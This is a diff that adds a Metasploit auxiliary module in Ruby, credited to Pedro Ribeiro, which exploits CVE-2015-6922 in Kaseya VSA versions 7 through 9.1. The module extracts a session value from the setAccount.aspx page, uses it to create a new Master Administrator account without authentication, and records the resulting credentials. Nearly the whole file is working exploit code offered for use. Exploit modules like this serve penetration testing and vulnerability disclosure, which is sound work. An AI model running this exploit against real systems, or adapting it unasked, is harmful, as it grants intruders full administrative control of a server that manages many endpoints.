|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Kaseya VSA Master Administrator Account Creation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new |
| 18 | + Master Administrator account. Normally this page is only accessible via the localhost |
| 19 | + interface, but the application does nothing to prevent this apart from attempting to |
| 20 | + force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and |
| 21 | + v9.0.0.3. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['CVE', '2015-6922'], |
| 31 | + ['ZDI', '15-448'], |
| 32 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], |
| 33 | + ['URL', 'http://seclists.org/bugtraq/2015/Sep/132'] |
| 34 | + ], |
| 35 | + 'DisclosureDate' => 'Sep 23 2015')) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']), |
| 40 | + OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']), |
| 41 | + OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']), |
| 42 | + OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]']) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + |
| 47 | + def run |
| 48 | + res = send_request_cgi({ |
| 49 | + 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), |
| 50 | + 'method' =>'GET', |
| 51 | + }) |
| 52 | + |
| 53 | + if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/ |
| 54 | + session_val = $1 |
| 55 | + else |
| 56 | + print_error("#{peer} - Failed to get sessionVal") |
| 57 | + return |
| 58 | + end |
| 59 | + |
| 60 | + print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account") |
| 61 | + |
| 62 | + res = send_request_cgi({ |
| 63 | + 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), |
| 64 | + 'method' =>'POST', |
| 65 | + 'vars_post' => { |
| 66 | + 'sessionVal' => session_val, |
| 67 | + 'adminName' => datastore['KASEYA_USER'], |
| 68 | + 'NewPassword' => datastore['KASEYA_PASS'], |
| 69 | + 'confirm' => datastore['KASEYA_PASS'], |
| 70 | + 'adminEmail' => datastore['EMAIL'], |
| 71 | + 'setAccount' => 'Create' |
| 72 | + } |
| 73 | + }) |
| 74 | + |
| 75 | + unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp') |
| 76 | + print_error("#{peer} - Master Administrator account creation failed") |
| 77 | + return |
| 78 | + end |
| 79 | + |
| 80 | + print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created") |
| 81 | + service_data = { |
| 82 | + address: rhost, |
| 83 | + port: rport, |
| 84 | + service_name: (ssl ? 'https' : 'http'), |
| 85 | + protocol: 'tcp', |
| 86 | + workspace_id: myworkspace_id |
| 87 | + } |
| 88 | + |
| 89 | + credential_data = { |
| 90 | + origin_type: :service, |
| 91 | + module_fullname: self.fullname, |
| 92 | + private_type: :password, |
| 93 | + private_data: datastore['KASEYA_PASS'], |
| 94 | + username: datastore['KASEYA_USER'] |
| 95 | + } |
| 96 | + |
| 97 | + credential_data.merge!(service_data) |
| 98 | + credential_core = create_credential(credential_data) |
| 99 | + login_data = { |
| 100 | + core: credential_core, |
| 101 | + access_level: 'Master Administrator', |
| 102 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 103 | + } |
| 104 | + login_data.merge!(service_data) |
| 105 | + create_credential_login(login_data) |
| 106 | + end |
| 107 | +end |
0 commit comments